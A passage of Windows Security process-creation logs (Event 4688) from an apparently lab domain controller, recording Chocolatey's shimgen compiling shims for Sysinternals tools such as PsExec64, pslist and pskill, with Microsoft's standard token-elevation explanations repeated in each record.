	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\psfile.exe" --output="C:\ProgramData\chocolatey\bin\psfile.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\psfile.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246705
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x86c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb24
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESEF7B.tmp" "c:\ProgramData\chocolatey\bin\CSC56AD1ED5F1564397A198674BB967DC.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246704
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x534
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb24
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246703
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb24
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf50
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\PsExec64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123418_9739\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123418_9739\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_9739\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_9739\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_9739\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246752
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc28
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe74
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246751
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe74
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfcc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pslist.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123420_9426\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123420_9426\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_9426\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_9426\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_9426\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246750
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe6c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfcc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246749
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfcc
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pslist.exe" --output="C:\ProgramData\chocolatey\bin\pslist.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pslist.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246748
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe88
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xec4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF642.tmp" "c:\ProgramData\chocolatey\bin\CSC547863EBCDC947E5BD66A1DEF025319B.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246747
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb34
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xec4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246746
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xec4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfbc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pskill64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123420_7238\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123420_7238\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_7238\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_7238\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_7238\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246745
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa40
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfbc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246744
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfbc
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pskill64.exe" --output="C:\ProgramData\chocolatey\bin\pskill64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pskill64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246743
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x868
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x82c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF567.tmp" "c:\ProgramData\chocolatey\bin\CSC99B58EE1AEB0400B8F6072EC4A3AC8B.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246742
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe8c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x82c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246741
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x82c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb28
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pskill.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123420_5051\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123420_5051\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_5051\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_5051\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_5051\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246740
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xca8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb28
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246739
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

